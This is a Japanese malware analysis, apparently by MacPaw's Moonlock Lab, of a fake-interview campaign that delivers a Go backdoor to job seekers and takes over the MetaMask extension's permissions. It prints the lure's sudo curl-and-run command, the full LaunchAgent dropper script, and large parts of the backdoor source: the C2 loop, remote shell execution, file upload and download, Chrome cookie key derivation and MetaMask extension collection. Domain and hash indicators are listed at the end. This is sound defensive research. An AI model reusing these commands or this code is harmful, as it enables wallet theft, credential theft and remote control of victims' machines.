
MacPawのMoonlock Labチームによる執筆
進行中のサイバー攻撃では、偽の面接ウェブサイトを使って求職者を狙い、必要最低限の機能しか備えていないが非常に効果的なバックドアをダウンロードさせようとしています。難読化技術を使用する高度なマルウェアとは異なり、この攻撃はシンプルさに頼っています。つまり、ソースコードを Go バイナリと一緒に配信することでクロスプラットフォーム化を実現しています。さらに懸念されるのは、暗号通貨関連の Chrome 拡張機能 MetaMask の権限を乗っ取り、被害者の財布を空にしようとしていることです。
この攻撃は活発に行われており、新たなドメインが定期的に出現して、より多くの被害者を誘い出している。
Moonlock Lab チームは、バックドアの最初のコンポーネントが出現し始めた 2024 年 10 月 9 日に、まさにこのマルウェアの追跡を開始しました。バックドアとは、システムに隠れて、脅威の攻撃者がワークステーションの正当な所有者であるかのようにリモートでコマンドを実行できるようにする悪意のあるソフトウェアの一種です。これらの攻撃では通常、いわゆる C2 (コマンド アンド コントロール) サーバーを利用してコマンドを送信および実行します。
この攻撃が通常観察される他の攻撃と異なる点は、複数の段階から構成され、単発のデータ窃盗フローを採用するのではなく、被害者のマシンに永続的に残るように設計されていることです。攻撃段階の完全な概要は、以下の画像で確認できます。
私たちが気づいたXに関する最初のよく構成されたスレッドは、
' 通常は、Kraken、MEXC、Gemini、Meta などの有名企業の「リクルーター」から始まります。給与範囲とメッセージング スタイルは魅力的で、積極的に就職活動していない人にとっても魅力的です。ほとんどは Linkedin 経由です。また、フリーランサー サイト、求人サイト、tg、discord などもあります。
このマルウェアの最新バージョンを入手するには、偽のインタビュー サイトをホストする新しいドメインを監視することが不可欠でした。この目的のために、私たちのチームはこれらのドメインに共通する 2 つの不変の指標に頼りました。
このキャンペーン中に使用されたドメインの一部は閉鎖されていますが、新しいドメインは引き続き出現しており、最新のドメインは依然としてオンラインです: smarthiretop[.]online 。当社のチームは、2024年11月以降、20を超えるアクティブなドメインを発見しました。
ドメインを調査した結果、一部のドメインが同じ IP アドレスを共有していることがわかりました。これは、攻撃者が複数のドメインを同じサーバーでホストできる防弾ホスティング プロバイダーを使用しているためによく発生します。さらに、単一の IP で複数のドメインをホストすると、脅威アクターはバックエンド インフラストラクチャを変更せずにドメインをローテーションできます。
この悪意のあるインフラストラクチャは、世界中に分散しているさまざまなサービスでホストされています。下の地図に示すように、ほとんどのサーバーは米国にあり、一部は他の国に分散しています。
インタビュー対象者に実行するよう要求された悪意のあるコマンドは、悪意のある Web サイトにアクセスしたときに表示されるウィンドウに隠れています。これは JS コードであり、この場合はmain.39e5a388.jsファイルにバンドルされています。このようなファイル名は通常、Web アプリケーションのビルド プロセス中にハッシュまたはフィンガープリント メカニズムを使用して生成されます (参照:
ページの 1 つに、次の SHA256 ハッシュを持つ JS ファイルが埋め込まれています。
ビルドされた JS ファイル内に、被害者に入力を求められたのと同じコマンドが含まれていることが簡単にわかりました。
脅威アクターがマルウェアを拡散する方法を理解した後、私たちの主な目標は、サンプルを迅速に見つけ、ユーザー向けのシグネチャを作成することでした。私たちが見つけた「実稼働可能な」サンプルとその SHA-256 ハッシュに関する最初の直接的な言及は、次のスレッドでした。
これには次の 5 つのハッシュが含まれています。
これに加えて、私たちのチームも、被害者と同じように、騙されてダウンロードしたかのように悪意のあるスクリプトを取得し始めました。ある時点では、偽のインタビュー Web サイトで次のコマンドが使用されていました。
スクリーンショットからのコマンド(実行しないでください!):
sudo sh -c 'curl -k -o /var/tmp/ffmpeg.sh https://api.nvidia-release.org/ffmpeg-ar.sh && chmod +x /var/tmp/ffmpeg.sh && nohup bash /var/tmp/ffmpeg.sh >/dev/null 2>&1 &'
以下のアクションを実行します。
一時フォルダに保存された ffmpeg.sh ファイル内に、この攻撃のエントリ ポイントが含まれています。
以下のスクリプトからわかるように、これはIntelとARMの両方のmacOS向けに特別に設計されています。現在のCPUモデルを定義した後、複数のファイルを含むZIPアーカイブをダウンロードします。このスクリプトの詳細なレビューは、
#!/bin/bash # Define variables for URLs ZIP_URL_ARM64="https://api.nvidia-cloud.online/VCam1.update" ZIP_URL_INTEL="https://api.nvidia-cloud.online/VCam2.update" ZIP_FILE="/var/tmp/VCam.zip" # Path to save the downloaded ZIP file WORK_DIR="/var/tmp/VCam" # Temporary directory for extracted files EXECUTABLE="vcamservice.sh" # Replace with the name of the executable file inside the ZIP APP="ChromeUpdateAlert.app" # Replace with the name of the app to open PLIST_FILE=~/Library/LaunchAgents/com.vcam.plist # Path to the plist file # Determine CPU architecture case $(uname -m) in arm64) ZIP_URL=$ZIP_URL_ARM64 ;; x86_64) ZIP_URL=$ZIP_URL_INTEL ;; *) exit 1 ;; # Exit for unsupported architectures esac # Create working directory mkdir -p "$WORK_DIR" # Function to clean up cleanup() { rm -rf "$ZIP_FILE" } # Download, unzip, and execute if curl -s -o "$ZIP_FILE" "$ZIP_URL" && [[ -f "$ZIP_FILE" ]]; then unzip -o -qq "$ZIP_FILE" -d "$WORK_DIR" if [[ -f "$WORK_DIR/$EXECUTABLE" ]]; then chmod +x "$WORK_DIR/$EXECUTABLE" else cleanup exit 1 fi else cleanup exit 1 fi # Step 4: Register the service mkdir -p ~/Library/LaunchAgents cat > "$PLIST_FILE" <<EOL <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>Label</key> <string>com.vcam</string> <key>ProgramArguments</key> <array> <string>$WORK_DIR/$EXECUTABLE</string> </array> <key>RunAtLoad</key> <true/> <key>KeepAlive</key> <false/> </dict> </plist> EOL chmod 644 "$PLIST_FILE" if ! launchctl list | grep -q "com.vcam"; then launchctl load "$PLIST_FILE" fi # Step 5: Run ChromeUpdateAlert.app if [[ -d "$WORK_DIR/$APP" ]]; then open "$WORK_DIR/$APP" & fi # Final cleanup cleanup
参照:
スクリプトが取得するアーカイブ (Intel CPU 用バージョン) の内容を以下に示します。
アーカイブ内のすべてのファイルは、いくつかのグループに分類できます。
興味深いことに、アーカイブのサイズは約 75 MB ですが、これは主に正規の Go ライブラリとバイナリの多くの部分が含まれているためです。
この攻撃で長期間使用されていることが確認されたファイルの 1 つは、CameraAccess ( SHA256: 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a ) という名前の、2 つのアーキテクチャを持つ Mach-O ユニバーサル バイナリです。
これは Google Chrome アイコンを装い、一般ユーザーにファイルが正当なものであると信じ込ませて削除を阻止します。
コードは Swift で記述されており、強力な難読化手法は検出されなかったため、実行フローを比較的簡単に理解できます。
システム通知ウィンドウのように見えるウィンドウが表示され、ユーザーにマイクのアクセスを許可するよう求められます。これは Google Chrome アプリケーションから要求されたものと思われます。
ユーザーが「後で通知する」を選択した場合でも、パスワードプロンプトウィンドウは表示されます。
アプリはマイクへのアクセスが必要であると主張していますが、サンドボックス化されており、マイクの実際の許可要求は行われません。
ユーザーがパスワードを入力すると、マルウェアは実行されているホストの外部 IP アドレスを要求します。次に、password.txt ファイルをユーザーの外部 IP アドレスにちなんで名付けられた Dropbox フォルダに送信します。
下のスクリーンショットで Dropbox API URL を確認できます。
ネットワーク トラフィックを調査したところ、被害者のパブリック IP アドレスを取得しようとする試みが確認されました。
IP アドレスを受信した後、ハードコードされた資格情報を使用して IP とパスワードのペアをアップロードするために Dropbox にリクエストが送信されることがわかります。
私たちのチームは、この不正なキャンペーンを実行するために使用された認証情報とともに、この事件を Dropbox に報告しました。
ffmpeg.sh スクリプトによってダウンロードされた ZIP ファイルには、バックドアのプレーンテキスト ソース コードが含まれていることに注意してください。つまり、このファイルはプリコンパイルも難読化もされていません。これにより分析が大幅に高速化されましたが、適切な帰属についての疑問も生じました。言うまでもなく、北朝鮮の APT グループは通常、はるかに洗練されています。
もう 1 つの珍しい戦略は、完全なコードを単純にコンパイルするのではなく、アーカイブに Go バイナリ ( /bin/go ) を含めることです。ただし、Go は多くのオペレーティング システムでデフォルトのアプリケーションではないため、脅威アクターは互換性を高めるために Go を含めた可能性があります。マルウェアがクロスプラットフォームであり、macOS、Linux、Windows を同時にターゲットにしていることを考えると、これは理にかなっています。
注目すべき各サンプルの関係と詳細な説明を示すグラフは、次の場所にあります。
アーカイブ内には、 vcamupdate.shというスクリプトがあります。これは解凍後すぐに実行され、メインの Golang アプリケーション (この場合はapp.go ) へのパスを渡しながら、ZIP にバンドルされている/bin/go を実行するだけです。
#!/bin/bash # Set the working directory to the folder where this script is located cd "$(dirname "$0")" echo "Installing Dependencies..." project_file="app.go" ./bin/go run "$project_file" exit 0
エントリ アプリケーション ( app.go ) は、ユーザーのワークステーションの一意の UUID を生成し、C2 URL を初期化し、メイン ループを開始する役割を担っています。コードには、1 行のコメント、サポート メッセージの出力、コメント アウトされたコードがいくつか含まれています。また、開発者が削除し忘れたテスト用の URL も含まれています。メイン キャンペーンでは C2 IP アドレスが異なっていたにもかかわらず、2024 年のサンプルは同じ機能を共有し、同じデータをターゲットにしていました。
その後、 core.StartMainLoop(id, url)を呼び出すと、 loop.goファイルとwork.goファイルがあるcore/フォルダーに移動します。loop.goファイルは主に、C2 からのコマンドの受信と実行、機密データを収集するサブモジュールの呼び出し、およびリモート サーバーへのアップロードを担当します。このファイルには多くの関数が含まれており、そのうち 8 つを取り上げ、詳細に検討したいと思います。
この関数は、configサブモジュールを使用して利用可能なコマンドを初期化し、受信コマンドをリッスンします。以下に、すべてのコマンドとそれに対応するコードが記載された表があります。バックドア機能のより詳細な分析については、
コマンド名 | エンコードされた名前 | 説明 |
---|---|---|
コマンド情報 | 質問する | ユーザー名、ホスト、OS、アーキテクチャを取得する |
コマンド_アップロード | 空自 | C2からホストに任意のアーカイブをアップロードして解凍する |
コマンド_ダウンロード | 翻訳 | 盗んだデータをC2にダウンロードする |
コマンド_OSSHELL | ビビ | ホストとC2間の対話型シェルを初期化する(任意のリモートコマンドを実行する) |
コマンド_自動 | r4ys | 機密データを自動的に収集する |
コマンド待機 | グージ | X秒待つ |
コマンド終了 | だー | メインループを終了する(alive=false を設定) |
C2 から受信したコマンドに基づいて、適切な関数が呼び出されます。
func StartMainLoop(id string, url string) { var ( msg_type string msg_data [][]byte msg string cmd string cmd_type string cmd_data [][]byte alive bool ) // initialize cmd_type = config.COMMAND_INFO alive = true for alive { func() { // recover panic state defer func() { if r := recover(); r != nil { cmd_type = config.COMMAND_INFO time.Sleep(config.DURATION_ERROR_WAIT) } }() switch cmd_type { case config.COMMAND_INFO: msg_type, msg_data = processInfo() case config.COMMAND_UPLOAD: msg_type, msg_data = processUpload(cmd_data) case config.COMMAND_DOWNLOAD: msg_type, msg_data = processDownload(cmd_data) case config.COMMAND_OSSHELL: msg_type, msg_data = processOsShell(cmd_data) case config.COMMAND_AUTO: msg_type, msg_data = processAuto(cmd_data) case config.COMMAND_WAIT: msg_type, msg_data = processWait(cmd_data) case config.COMMAND_EXIT: alive = false msg_type, msg_data = processExit() default: panic("problem") } msg = command.MakeMsg(id, msg_type, msg_data) cmd, _ = transport.HtxpExchange(url, msg) cmd_type, cmd_data = command.DecodeMsg(cmd) }() } }
この機能は、ユーザー名、ホスト名、OS バージョン、アーキテクチャなどの基本的なシステム情報を収集します。一般的なインフォスティーラーのほとんどは、このマルウェアよりもはるかに多くのシステム情報を収集することに注意してください。
func processInfo() (string, [][]byte) { user, _ := user.Current() host, _ := os.Hostname() os := runtime.GOOS arch := runtime.GOARCH print("user: " + user.Username + ", host: " + host + ", os: " + os + ", arch: " + arch + "\n") data := [][]byte{ []byte(user.Username), []byte(host), []byte(os), []byte(arch), []byte(config.DAEMON_VERSION), } return config.MSG_INFO, data }
この場合、アップロードは、C2 から感染したホストにアーカイブ ファイルを送信し、その後解凍するプロセスを表します。また、解凍が成功したかどうかも示します。
func processUpload(data [][]byte) (string, [][]byte) { var log string var state string path := string(data[0]) buf := bytes.NewBuffer(data[1]) err := util.Decompress(buf, path) if err == nil { log = fmt.Sprintf("%s : %d", path, len(data[1])) state = config.LOG_SUCCESS } else { log = fmt.Sprintf("%s : %s", path, err.Error()) state = config.LOG_FAIL } return config.MSG_LOG, [][]byte{ []byte(state), []byte(log), } }
この機能は前の機能の逆で、あらかじめ集められたファイルを含むディレクトリを tar.gz アーカイブに圧縮します。
func processDownload(data [][]byte) (string, [][]byte) { var file_data []byte var err error path := string(data[0]) _, file := filepath.Split(path) info, _ := os.Stat(path) if info.IsDir() { var buf bytes.Buffer err = util.Compress(&buf, []string{path}, false) file = fmt.Sprintf("%s.tar.gz", file) file_data = buf.Bytes() } else { file_data, err = os.ReadFile(path) } if err == nil { return config.MSG_FILE, [][]byte{[]byte(config.LOG_SUCCESS), []byte(file), file_data} } else { return config.MSG_FILE, [][]byte{[]byte(config.LOG_FAIL), []byte(err.Error())} } }
これは、真のバックドアに必須の機能です。任意のコマンドを待機し、それを実行しようとします。コマンドにはコマンドライン引数がある場合があり、出力は C2 に直接記録されます。
func processOsShell(data [][]byte) (string, [][]byte) { mode := string(data[0]) // mode timeout, _ := strconv.ParseInt(string(data[1]), 16, 64) shell := string(data[2]) args := make([]string, len(data[3:])) for index, elem := range data[3:] { args[index] = string(elem) } if mode == config.SHELL_MODE_WAITGETOUT { // wait and get result mode ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeout)) defer cancel() cmd := exec.CommandContext(ctx, shell, args...) out, err := cmd.Output() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), out, } } } else { // start and detach mode c := exec.Command(shell, args...) err := c.Start() if err != nil { return config.MSG_LOG, [][]byte{ []byte(config.LOG_FAIL), []byte(err.Error()), } } else { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte(fmt.Sprintf("%s %s", shell, strings.Join(args, " "))), } } } }
これは、窃盗フローのエントリ ポイントです。この関数には、auto/ フォルダーにあるファイルへの複数の呼び出しが含まれています。これらには、次のデータのグラバー、プロセッサ、または変更子が含まれます。
func processAuto(data [][]byte) (string, [][]byte) { var ( msg_type string msg_data [][]byte ) mode := string(data[0]) switch mode { case config.AUTO_CHROME_GATHER: msg_type, msg_data = auto.AutoModeChromeGather() case config.AUTO_CHROME_PREFRST: msg_type, msg_data = auto.AutoModeChromeChangeProfile() case config.AUTO_CHROME_COOKIE: msg_type, msg_data = auto.AutoModeChromeCookie() case config.AUTO_CHROME_KEYCHAIN: msg_type, msg_data = auto.AutoModeMacChromeLoginData() default: msg_type = config.MSG_LOG msg_data = [][]byte{[]byte(config.LOG_FAIL), []byte("unknown auto mode")} } return msg_type, msg_data }
バックドアをスリープ モードにし、さらなるコマンドを待機するために使用されるユーティリティ関数。
func processWait(data [][]byte) (string, [][]byte) { duration, _ := strconv.ParseInt(string(data[0]), 16, 64) time.Sleep(time.Duration(duration)) send_data := make([]byte, 128) rand.Read(send_data) return config.MSG_PING, [][]byte{send_data} }
これは、C2 との通信のメイン ループを終了するために使用されるユーティリティ関数です。
func processExit() (string, [][]byte) { return config.MSG_LOG, [][]byte{ []byte(config.LOG_SUCCESS), []byte("exited"), } }
auto/フォルダには Go アプリのセットが含まれています:
ベーシック
const ( userdata_dir_win = "AppData\\Local\\Google\\Chrome\\User Data\\" userdata_dir_darwin = "Library/Application Support/Google/Chrome/" userdata_dir_linux = ".config/google-chrome" extension_dir = "nkbihfbeogaeaoehlefnkodbefgpgknn" extension_hash_key = "protection.macs.extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" extension_setting_key = "extensions.settings.nkbihfbeogaeaoehlefnkodbefgpgknn" secure_preference_file = "Secure Preferences" logins_data_file = "Login Data" keychain_dir_darwin = "Library/Keychains/login.keychain-db" )
chrome_change_pref.go
// get json string func getExtJsonString() string { return `{"active_permissions":{"api": ["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[], "scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]}, "commands":{"_execute_browser_action":{"suggested_key":"Alt+Shift+M","was_assigned":true}},"content_settings":[], "creation_flags":38,"events":[],"first_install_time":"13361518520188298","from_webstore":false, "granted_permissions":{"api":["activeTab","clipboardWrite","notifications","storage","unlimitedStorage","webRequest"], "explicit_host":["*://*.eth/*","http://localhost:8545/*","https://*.codefi.network/*","https://*.cx.metamask.io/*","https://*.infura.io/*","https://chainid.network/*","https://lattice.gridplus.io/*"], "manifest_permissions":[],"scriptable_host":["*://connect.trezor.io/*/popup.html","file:///*","http://*/*","https://*/*"]},"incognito_content_settings":[], "incognito_preferences":{},"last_update_time":"13361518520188298","location":4,"newAllowFileAccess":true,"path":"C:\\ProgramData\\11.16.0_0","preferences":{}, "regular_only_preferences":{},"state":1,"was_installed_by_default":false,"was_installed_by_oem":false,"withholding_permissions":false}` }
// chrome kill if runtime.GOOS == "windows" { cmd := exec.Command("cmd", "/c", "taskkill /f /im chrome.exe") cmd.Run() } else { cmd := exec.Command("/bin/sh", "-c", "killall chrome") cmd.Run() }
chrome_cookie_darwin.go
var ( SALT = "saltysalt" ITERATIONS = 1003 KEYLENGTH = 16 ) func getDerivedKey() ([]byte, error) { out, err := exec.Command( `/usr/bin/security`, `find-generic-password`, `-s`, `Chrome Safe Storage`, `-wa`, `Chrome`, ).Output() if err != nil { return nil, err } temp := []byte(strings.TrimSpace(string(out))) chromeSecret := temp[:len(temp)-1] if chromeSecret == nil { return nil, errors.New("Can not get keychain") } var chromeSalt = []byte("saltysalt") // @https://source.chromium.org/chromium/chromium/src/+/master:components/os_crypt/os_crypt_mac.mm;l=157 key := pbkdf2.Key(chromeSecret, chromeSalt, 1003, 16, sha1.New) return key, nil }
chrome_cookie_other.go
chrome_cookie_win.go
chrome_gather.go
func AutoModeChromeGather() (string, [][]byte) { print("=========== AutoModeChromeGather ===========", runtime.GOOS, "\n") var ( buf bytes.Buffer userdata_dir string path_list []string ) // gather userdata_dir = getUserdataDir() // file system search _ = filepath.Walk(userdata_dir, func(path string, info os.FileInfo, err error) error { if info.Name() == extension_dir && strings.Contains(path, "Local Extension Settings") { path_list = append(path_list, path) } return nil }) _ = util.Compress(&buf, path_list, true) print("=========== End ===========\n") // return data := make([][]byte, 3) data[0] = []byte(config.LOG_SUCCESS) data[1] = []byte("gather.tar.gz") data[2] = buf.Bytes() msg_type := config.MSG_FILE return msg_type, data
分析を締めくくるにあたって、最も重要な点を強調しなければなりません。
app.blockchain-checkup[.]com app.hiring-interview[.]com app.quickvidintro[.]com app.skill-share[.]org app.vidintroexam[.]com app.willo-interview[.]us app.willohiringtalent[.]org app.willorecruit[.]com app.willotalent[.]pro app.willotalentes[.]com app.willotalents[.]org blockchain-assess[.]com digitpotalent[.]com digitptalent[.]com fundcandidates[.]com hiringinterview[.]org hiringtalent[.]pro interviewnest[.]org smarthiretop[.]online talentcompetency[.]com topinnomastertech[.]com web.videoscreening[.]org willoassess[.]com willoassess[.]net willoassess[.]org willoassessment[.]com willocandidate[.]com willointerview[.]com willomexcvip[.]us winterviews[.]net winyourrole[.]com wtalents[.]in wtalents[.]us wholecryptoloom[.]com
b72653bf747b962c67a5999afbc1d9156e1758e4ad959412ed7385abaedb21b6 60ec2dbe8cfacdff1d4eb093032b0307e52cc68feb1f67487d9f401017c3edd7 5df555b868c08eed8fea2c5f1bc82c5972f2dd69159b2fdb6a8b40ab6d7a1830 3c4becde20e618efb209f97581e9ab6bf00cbd63f51f4ebd5677e352c57e992a 3210d821e12600eac1b9887860f4e63923f624643bc3c50b3600352166e66bfe b2a4a981ba7cc2add74737957efdfcbd123922653e3bb109aa7e88d70796a340 3697852e593cec371245f6a7aaa388176e514b3e63813fdb136a0301969291ea 0a49f0a8d0b1e856b7d109229dfee79212c10881dcc4011b98fe69fc28100182
hxxp://216.74.123.191:8080 hxxp://95.169.180.146:8080